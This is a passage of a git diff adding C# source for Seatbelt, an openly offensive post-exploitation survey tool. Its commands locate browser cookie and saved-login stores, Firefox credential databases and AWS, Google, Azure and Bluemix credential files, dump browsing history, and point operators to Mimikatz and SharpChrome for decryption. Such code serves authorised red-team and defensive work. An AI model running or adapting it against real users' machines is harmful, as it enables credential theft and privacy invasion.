b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumPresenceCommand.cs new file mode 100644 index 0000000..a8f0064 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumPresenceCommand.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using System.Diagnostics; +using Seatbelt.Util; +using Microsoft.Win32; + +namespace Seatbelt.Commands.Browser +{ + internal class ChromiumPresenceCommand : CommandBase + { + public override string Command => "ChromiumPresence"; + public override string Description => "Checks if interesting Chrome/Edge/Brave/Opera files exist"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Chromium, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ChromiumPresenceCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + string chromeVersion = ""; + + if (!ThisRunTime.ISRemote()) + { + // TODO: translate the chrome path to a UNC path + var chromePath = RegistryUtil.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe", ""); + + if (chromePath != null) + { + chromeVersion = FileVersionInfo.GetVersionInfo(chromePath).ProductVersion; + } + } + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + string[] paths = { + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\", + "\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\", + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + }; + + foreach (string path in paths) + { + var chromeBasePath = $"{dir}{path}"; + + if (!Directory.Exists(chromeBasePath)) + { + continue; + } + + var history = new DateTime(); + var cookies = new DateTime(); + var loginData = new DateTime(); + + var userChromeHistoryPath = $"{chromeBasePath}History"; + if (File.Exists(userChromeHistoryPath)) + { + history = File.GetLastWriteTime(userChromeHistoryPath); + } + + var userChromeCookiesPath = $"{chromeBasePath}Cookies"; + if (File.Exists(userChromeCookiesPath)) + { + cookies = File.GetLastWriteTime(userChromeCookiesPath); + } + + var userChromeLoginDataPath = $"{chromeBasePath}LoginData"; + if (File.Exists(userChromeLoginDataPath)) + { + loginData = File.GetLastWriteTime(userChromeLoginDataPath); + } + + if (history != DateTime.MinValue || cookies != DateTime.MinValue || loginData != DateTime.MinValue) + { + yield return new ChromiumPresenceDTO( + $"{chromeBasePath}", + history, + cookies, + loginData, + chromeVersion + ); + } + } + } + } + + internal class ChromiumPresenceDTO : CommandDTOBase + { + public ChromiumPresenceDTO(string folder, DateTime historyLastModified, DateTime cookiesLastModified, DateTime loginDataLastModified, string chromeVersion) + { + Folder = folder; + HistoryLastModified = historyLastModified; + CookiesLastModified = cookiesLastModified; + LoginDataLastModified = loginDataLastModified; + ChromeVersion = chromeVersion; + } + + public string Folder { get; } + public DateTime HistoryLastModified { get; } + public DateTime CookiesLastModified { get; } + public DateTime LoginDataLastModified { get; } + public string ChromeVersion { get; } + } + + [CommandOutputType(typeof(ChromiumPresenceDTO))] + internal class ChromiumPresenceFormatter : TextFormatterBase + { + public ChromiumPresenceFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ChromiumPresenceDTO)result; + + WriteLine("\r\n {0}\n", dto.Folder); + if (dto.HistoryLastModified != DateTime.MinValue) + { + WriteLine(" 'History' ({0}) : Run the 'ChromiumHistory' command", dto.HistoryLastModified); + } + if (dto.CookiesLastModified != DateTime.MinValue) + { + WriteLine(" 'Cookies' ({0}) : Run SharpDPAPI/SharpChrome or the Mimikatz \"dpapi::chrome\" module", dto.CookiesLastModified); + } + if (dto.LoginDataLastModified != DateTime.MinValue) + { + WriteLine(" 'Login Data' ({0}) : Run SharpDPAPI/SharpChrome or the Mimikatz \"dpapi::chrome\" module", dto.LoginDataLastModified); + } + + if (dto.Folder.Contains("Google")) + { + WriteLine(" Chrome Version : {0}", dto.ChromeVersion); + if (dto.ChromeVersion.StartsWith("8")) + { + WriteLine(" Version is 80+, new DPAPI scheme must be used"); + } + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxHistoryCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxHistoryCommand.cs new file mode 100644 index 0000000..0958e69 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxHistoryCommand.cs @@ -0,0 +1,118 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Browser +{ + internal class FirefoxHistoryCommand : CommandBase + { + public override string Command => "FirefoxHistory"; + public override string Description => "Parses any found FireFox history files"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public FirefoxHistoryCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"; + + // parses a Firefox history file via regex + if (Directory.Exists(userFirefoxBasePath)) + { + var history = new List(); + var directories = Directory.GetDirectories(userFirefoxBasePath); + + foreach (var directory in directories) + { + var firefoxHistoryFile = $"{directory}\\places.sqlite"; + var historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); + + try + { + using (var r = new StreamReader(firefoxHistoryFile)) + { + string line; + while ((line = r.ReadLine()) != null) + { + var m = historyRegex.Match(line); + if (m.Success) + { + // WriteHost(" " + m.Groups[0].ToString().Trim()); + history.Add(m.Groups[0].ToString().Trim()); + } + } + } + } + catch (IOException exception) + { + WriteError($"IO exception, places.sqlite file likely in use (i.e. Firefox is likely running). {exception.Message}"); + } + catch (Exception e) + { + WriteError(e.ToString()); + } + } + + yield return new FirefoxHistoryDTO( + userName, + history + ); + } + } + } + + internal class FirefoxHistoryDTO : CommandDTOBase + { + public FirefoxHistoryDTO(string userName, List history) + { + UserName = userName; + History = history; + } + public string UserName { get; } + public List History { get; } + } + + [CommandOutputType(typeof(FirefoxHistoryDTO))] + internal class InternetExplorerFavoritesFormatter : TextFormatterBase + { + public InternetExplorerFavoritesFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (FirefoxHistoryDTO)result; + + WriteLine($"\n History ({dto.UserName}):\n"); + + foreach (var history in dto.History) + { + WriteLine($" {history}"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxPresenceCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxPresenceCommand.cs new file mode 100644 index 0000000..5515179 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/FirefoxPresenceCommand.cs @@ -0,0 +1,118 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Browser +{ + internal class FirefoxPresenceCommand : CommandBase + { + public override string Command => "FirefoxPresence"; + public override string Description => "Checks if interesting Firefox files exist"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public FirefoxPresenceCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + continue; + + var userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"; + if (!Directory.Exists(userFirefoxBasePath)) + continue; + + var historyLastModified = new DateTime(); + var credentialFile3LastModified = new DateTime(); + var credentialFile4LastModified = new DateTime(); + + var directories = Directory.GetDirectories(userFirefoxBasePath); + foreach (var directory in directories) + { + var firefoxHistoryFile = $"{directory}\\places.sqlite"; + if (File.Exists(firefoxHistoryFile)) + { + historyLastModified = File.GetLastWriteTime(firefoxHistoryFile); + } + + var firefoxCredentialFile3 = $"{directory}\\key3.db"; + if (File.Exists(firefoxCredentialFile3)) + { + credentialFile3LastModified = File.GetLastWriteTime(firefoxCredentialFile3); + } + + var firefoxCredentialFile4 = $"{directory}\\key4.db"; + if (File.Exists(firefoxCredentialFile4)) + { + credentialFile4LastModified = File.GetLastWriteTime(firefoxCredentialFile4); + } + + if (historyLastModified != DateTime.MinValue || credentialFile3LastModified != DateTime.MinValue || credentialFile4LastModified != DateTime.MinValue) + { + yield return new FirefoxPresenceDTO( + directory, + historyLastModified, + credentialFile3LastModified, + credentialFile4LastModified + ); + } + } + } + } + + internal class FirefoxPresenceDTO : CommandDTOBase + { + public FirefoxPresenceDTO(string folder, DateTime historyLastModified, DateTime credentialFile3LastModified, DateTime credentialFile4LastModified) + { + Folder = folder; + HistoryLastModified = historyLastModified; + CredentialFile3LastModified = credentialFile3LastModified; + CredentialFile4LastModified = credentialFile4LastModified; + } + public string Folder { get; } + public DateTime HistoryLastModified { get; } + public DateTime CredentialFile3LastModified { get; } + public DateTime CredentialFile4LastModified { get; } + } + + [CommandOutputType(typeof(FirefoxPresenceDTO))] + internal class FirefoxPresenceFormatter : TextFormatterBase + { + public FirefoxPresenceFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (FirefoxPresenceDTO)result; + + WriteLine(" {0}\\\n", dto.Folder); + if (dto.HistoryLastModified != DateTime.MinValue) + { + WriteLine(" 'places.sqlite' ({0}) : History file, run the 'FirefoxTriage' command", dto.HistoryLastModified); + } + if (dto.CredentialFile3LastModified != DateTime.MinValue) + { + WriteLine(" 'key3.db' ({0}) : Credentials file, run SharpWeb (https://github.com/djhohnstein/SharpWeb)", dto.CredentialFile3LastModified); + } + if (dto.CredentialFile4LastModified != DateTime.MinValue) + { + WriteLine(" 'key4.db' ({0}) : Credentials file, run SharpWeb (https://github.com/djhohnstein/SharpWeb)", dto.CredentialFile4LastModified); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerFavoritesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerFavoritesCommand.cs new file mode 100644 index 0000000..1f8c1dc --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerFavoritesCommand.cs @@ -0,0 +1,115 @@ +using System; +using System.Collections.Generic; +using System.IO; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Browser +{ + internal class InternetExplorerFavoritesCommand : CommandBase + { + public override string Command => "IEFavorites"; + public override string Description => "Internet Explorer favorites"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + + public InternetExplorerFavoritesCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var userFavoritesPath = $"{dir}\\Favorites\\"; + if (!Directory.Exists(userFavoritesPath)) + { + continue; + } + + var bookmarkPaths = Directory.GetFiles(userFavoritesPath, "*.url", SearchOption.AllDirectories); + if (bookmarkPaths.Length == 0) + { + continue; + } + + var favorites = new List(); + + foreach (var bookmarkPath in bookmarkPaths) + { + using var rdr = new StreamReader(bookmarkPath); + string line; + var url = ""; + + while ((line = rdr.ReadLine()) != null) + { + if (!line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase)) + { + continue; + } + + if (line.Length > 4) + { + url = line.Substring(4); + } + + break; + } + + favorites.Add(url.Trim()); + } + + yield return new InternetExplorerFavoritesDTO( + userName, + favorites + ); + } + } + + internal class InternetExplorerFavoritesDTO : CommandDTOBase + { + public InternetExplorerFavoritesDTO(string userName, List favorites) + { + UserName = userName; + Favorites = favorites; + } + public string UserName { get; } + public List Favorites { get; } + } + + [CommandOutputType(typeof(InternetExplorerFavoritesDTO))] + internal class InternetExplorerFavoritesFormatter : TextFormatterBase + { + public InternetExplorerFavoritesFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (InternetExplorerFavoritesDTO)result; + + WriteLine($"Favorites ({dto.UserName}):\n"); + + foreach (var favorite in dto.Favorites) + { + WriteLine($" {favorite}"); + } + WriteLine(); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTabCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTabCommand.cs new file mode 100644 index 0000000..0e7ac50 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTabCommand.cs @@ -0,0 +1,83 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text.RegularExpressions; + + +namespace Seatbelt.Commands.Browser +{ + internal class InternetExplorerTabCommand : CommandBase + { + public override string Command => "IETabs"; + public override string Description => "Open Internet Explorer tabs"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; // don't think this is possible... + + public InternetExplorerTabCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // Lists currently open Internet Explorer tabs, via COM + // Notes: + // https://searchcode.com/codesearch/view/9859954/ + // https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816 + + // Shell.Application COM GUID + var shell = Type.GetTypeFromProgID("Shell.Application"); + + // actually instantiate the Shell.Application COM object + var shellObj = Activator.CreateInstance(shell); + + // grab all the current windows + var windows = shellObj.GetType().InvokeMember("Windows", BindingFlags.InvokeMethod, null, shellObj, null); + + // grab the open tab count + var openTabs = windows.GetType().InvokeMember("Count", BindingFlags.GetProperty, null, windows, null); + var openTabsCount = int.Parse(openTabs.ToString()); + + for (var i = 0; i < openTabsCount; i++) + { + // grab the acutal tab + object? item = windows.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, windows, new object[] { i }); + string locationName = "", locationUrl = ""; + + try + { + // extract the tab properties + locationName = (string)item.GetType().InvokeMember("LocationName", BindingFlags.GetProperty, null, item, null); + locationUrl = (string)item.GetType().InvokeMember("LocationUrl", BindingFlags.GetProperty, null, item, null); + + Marshal.ReleaseComObject(item); + item = null; + } + catch { } + + // ensure we have a site address + if (Regex.IsMatch(locationUrl, @"(^https?://.+)|(^ftp://)")) + { + yield return new InternetExplorerTabsDTO( + locationName, + locationUrl + ); + } + } + + Marshal.ReleaseComObject(windows); + Marshal.ReleaseComObject(shellObj); + } + + internal class InternetExplorerTabsDTO : CommandDTOBase + { + public InternetExplorerTabsDTO(string locationName, string locationUrl) + { + LocationName = locationName; + LocationUrl = locationUrl; + } + public string LocationName { get; } + public string LocationUrl { get; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTypedURLsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTypedURLsCommand.cs new file mode 100644 index 0000000..657ba48 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/InternetExplorerTypedURLsCommand.cs @@ -0,0 +1,130 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Browser +{ + class TypedUrl + { + public TypedUrl(DateTime time, string url) + { + Time = time; + Url = url; + } + public DateTime Time { get; } + public string Url { get; } + } + + internal class InternetExplorerTypedUrlsCommand : CommandBase + { + public override string Command => "IEUrls"; + public override string Description => "Internet Explorer typed URLs (last 7 days, argument == last X days)"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public InternetExplorerTypedUrlsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // lists Internet explorer history (last 7 days by default) + var lastDays = 7; + + if (!Runtime.FilterResults) + { + lastDays = 90; + } + + if (args.Length >= 1) + { + if (!int.TryParse(args[0], out lastDays)) + { + throw new ArgumentException("Argument is not an integer"); + } + } + + var startTime = DateTime.Now.AddDays(-lastDays); + + WriteHost($"Internet Explorer typed URLs for the last {lastDays} days\n"); + + var SIDs = ThisRunTime.GetUserSIDs(); + + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var settings = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLs"); + if ((settings == null) || (settings.Count <= 1)) + { + continue; + } + + var URLs = new List(); + + foreach (var kvp in settings) + { + var timeBytes = ThisRunTime.GetBinaryValue(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.Trim()); + + if (timeBytes == null) + continue; + + var timeLong = BitConverter.ToInt64(timeBytes, 0); + var urlTime = DateTime.FromFileTime(timeLong); + if (urlTime > startTime) + { + URLs.Add(new TypedUrl( + urlTime, + kvp.Value.ToString().Trim() + )); + } + } + + yield return new InternetExplorerTypedURLsDTO( + sid, + URLs + ); + } + } + + internal class InternetExplorerTypedURLsDTO : CommandDTOBase + { + public InternetExplorerTypedURLsDTO(string sid, List urls) + { + Sid = sid; + Urls = urls; + } + public string Sid { get; } + public List Urls { get; } + } + + [CommandOutputType(typeof(InternetExplorerTypedURLsDTO))] + internal class InternetExplorerTypedURLsFormatter : TextFormatterBase + { + public InternetExplorerTypedURLsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (InternetExplorerTypedURLsDTO)result; + + WriteLine("\n {0}", dto.Sid); + + foreach (var url in dto.Urls) + { + WriteLine($" {url.Time,-23} : {url.Url}"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/CommandBase.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandBase.cs new file mode 100644 index 0000000..c71517d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandBase.cs @@ -0,0 +1,36 @@ +using System; +using System.Collections.Generic; + +namespace Seatbelt.Commands +{ + internal abstract class CommandBase + { + public abstract string Command { get; } + public virtual string CommandVersion { get; set; } + public abstract string Description { get; } + public abstract CommandGroup[] Group { get; } + public abstract bool SupportRemote { get; } + + public Runtime Runtime { get; set; } + + protected CommandBase(Runtime runtime) + { + CommandVersion = "1.0"; + Runtime = runtime; + } + + public abstract IEnumerable Execute(string[] args); + + + + public void WriteOutput(CommandDTOBase dto) => throw new NotImplementedException(); + + public void WriteVerbose(string message) => Runtime.OutputSink.WriteVerbose(message); + + public void WriteWarning(string message) => Runtime.OutputSink.WriteWarning(message); + + public void WriteError(string message) => Runtime.OutputSink.WriteError(message); + + public void WriteHost(string format = "", params object[] args) => Runtime.OutputSink.WriteHost(string.Format(format, args)); + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/CommandDTOBase.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandDTOBase.cs new file mode 100644 index 0000000..b2cea99 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandDTOBase.cs @@ -0,0 +1,22 @@ +namespace Seatbelt.Commands +{ + public class CommandDTOBase + { + private string CommandVersion { get; set; } + + protected CommandDTOBase() + { + CommandVersion = ""; + } + + public void SetCommandVersion(string commandVersion) + { + CommandVersion = commandVersion; + } + + public string GetCommandVersion() + { + return CommandVersion; + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/CommandGroup.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandGroup.cs new file mode 100644 index 0000000..8d27f32 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandGroup.cs @@ -0,0 +1,19 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Seatbelt.Commands +{ + [Flags] + public enum CommandGroup + { + All, + User, + System, + Slack, + Chromium, + Remote, + Misc, + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/CommandOutputTypeAttribute.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandOutputTypeAttribute.cs new file mode 100644 index 0000000..bedbf93 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/CommandOutputTypeAttribute.cs @@ -0,0 +1,20 @@ +using System; + +namespace Seatbelt.Commands +{ + [AttributeUsage(AttributeTargets.Class, AllowMultiple = false)] + class CommandOutputTypeAttribute : Attribute + { + public Type Type { get; set; } + + public CommandOutputTypeAttribute(Type outputDTO) + { + if (!typeof(CommandDTOBase).IsAssignableFrom(outputDTO)) + { + throw new Exception($"CommandOutputTypeAttribute: the specified output DTO({outputDTO}) does not inherit from CommandDTOBase"); + } + + Type = outputDTO; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/ErrorDTO.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/ErrorDTO.cs new file mode 100644 index 0000000..e8d0b51 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/ErrorDTO.cs @@ -0,0 +1,29 @@ +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + internal class ErrorDTO : CommandDTOBase + { + public ErrorDTO(string message) + { + Message = message; + } + + public string Message { get; } + } + + [CommandOutputType(typeof(ErrorDTO))] + internal class ErrorTextFormatter : TextFormatterBase + { + public ErrorTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ErrorDTO)result; + WriteLine("ERROR: " + dto.Message); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/HostDTO.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/HostDTO.cs new file mode 100644 index 0000000..f6a1427 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/HostDTO.cs @@ -0,0 +1,29 @@ +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + internal class HostDTO : CommandDTOBase + { + public HostDTO(string message) + { + Message = message; + } + + public string Message { get; } + } + + [CommandOutputType(typeof(HostDTO))] + internal class HostTextFormatter : TextFormatterBase + { + public HostTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (HostDTO)result; + WriteLine(dto.Message); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/CloudCredentialsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/CloudCredentialsCommand.cs new file mode 100644 index 0000000..22e4fe2 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/CloudCredentialsCommand.cs @@ -0,0 +1,138 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace Seatbelt.Commands +{ + internal class CloudCredentialsCommand : CommandBase + { + public override string Command => "CloudCredentials"; + public override string Description => "AWS/Google/Azure/Bluemix cloud credential files"; + public override CommandGroup[] Group => new[] {CommandGroup.User, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public CloudCredentialsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute) + // adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/) + + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + var awsKeyFile = $"{dir}\\.aws\\credentials"; + if (File.Exists(awsKeyFile)) + { + var lastAccessed = File.GetLastAccessTime(awsKeyFile); + var lastModified = File.GetLastWriteTime(awsKeyFile); + var size = new FileInfo(awsKeyFile).Length; + + yield return new CloudCredentialsDTO( + "AWS", + awsKeyFile, + lastAccessed, + lastModified, + size + ); + } + + string[] googleCredLocations = { $"{dir}\\AppData\\Roaming\\gcloud\\credentials.db", + $"{dir}\\AppData\\Roaming\\gcloud\\legacy_credentials", + $"{dir}\\AppData\\Roaming\\gcloud\\access_tokens.db"}; + + foreach(var googleCredLocation in googleCredLocations) + { + if (!File.Exists(googleCredLocation)) continue; + + var lastAccessed = File.GetLastAccessTime(googleCredLocation); + var lastModified = File.GetLastWriteTime(googleCredLocation); + var size = new FileInfo(googleCredLocation).Length; + + yield return new CloudCredentialsDTO( + "Google", + googleCredLocation, + lastAccessed, + lastModified, + size + ); + } + + string[] azureCredLocations = { $"{dir}\\.azure\\azureProfile.json", + $"{dir}\\.azure\\TokenCache.dat", + $"{dir}\\.azure\\AzureRMContext.json", + $"{dir}\\AppData\\Roaming\\Windows Azure Powershell\\TokenCache.dat", + $"{dir}\\AppData\\Roaming\\Windows Azure Powershell\\AzureRMContext.json" }; + + foreach (var azureCredLocation in azureCredLocations) + { + if (!File.Exists(azureCredLocation)) continue; + + var lastAccessed = File.GetLastAccessTime(azureCredLocation); + var lastModified = File.GetLastWriteTime(azureCredLocation); + var size = new FileInfo(azureCredLocation).Length; + + yield return new CloudCredentialsDTO( + "Azure", + azureCredLocation, + lastAccessed, + lastModified, + size + ); + } + + string[] bluemixCredLocations = { $"{dir}\\.bluemix\\config.json", + $"{dir}\\.bluemix\\.cf\\config.json"}; + + foreach (var bluemixCredLocation in bluemixCredLocations) + { + if (!File.Exists(bluemixCredLocation)) continue; + + var lastAccessed = File.GetLastAccessTime(bluemixCredLocation); + var lastModified = File.GetLastWriteTime(bluemixCredLocation); + var size = new FileInfo(bluemixCredLocation).Length; + + yield return new CloudCredentialsDTO( + "Bluemix", + bluemixCredLocation, + lastAccessed, + lastModified, + size + ); + } + } + } + + internal class CloudCredentialsDTO : CommandDTOBase + { + public CloudCredentialsDTO(string type, string fileName, DateTime lastAccessed, DateTime lastModified, long size) + { + Type = type; + FileName = fileName; + LastAccessed = lastAccessed; + LastModified = lastModified; + Size = size; + } + public string Type { get; } + + public string FileName { get; } + + public DateTime LastAccessed { get; } + + public DateTime LastModified { get; } + + public long Size { get; } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/DirectoryListCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/DirectoryListCommand.cs new file mode 100644 index 0000000..576f8af --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/DirectoryListCommand.cs @@ -0,0 +1,231 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + public class DirectoryQuery + { + public DirectoryQuery(string path, int depth) + { + Path = path; + Depth = depth; + } + public string Path { get; } + public int Depth { get; } + } + internal class DirectoryListCommand : CommandBase + { + public override string Command => "dir"; + + public override string Description => + "Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [maxDepth] [regex] [boolIgnoreErrors]"; + + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + private Stack _dirList = new Stack(); + + public DirectoryListCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + string directory; + Regex? regex = null; + int maxDepth; + var ignoreErrors = false; + + WriteHost(" {0,-10} {1,-10} {2,-9} {3}\n", "LastAccess", "LastWrite", "Size", "Path"); + + if (args.Length == 0) + { + directory = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + regex = new Regex(@"^(?!.*desktop\.ini).*\\(Documents|Downloads|Desktop)\\", RegexOptions.IgnoreCase); + maxDepth = 2; + ignoreErrors = true; + } + else if (args.Length == 1) + { + directory = args[0]; + maxDepth = 0; + } + else if (args.Length == 2) + { + directory = args[0]; + maxDepth = int.Parse(args[1]); + } + else if (args.Length == 3) + { + directory = args[0]; + maxDepth = int.Parse(args[1]); + regex = new Regex(args[2], RegexOptions.IgnoreCase); + } + else + { + directory = args[0]; + maxDepth = int.Parse(args[1]); + regex = new Regex(args[2], RegexOptions.IgnoreCase); + ignoreErrors = true; + } + + directory = Path.GetFullPath(Environment.ExpandEnvironmentVariables(directory)); 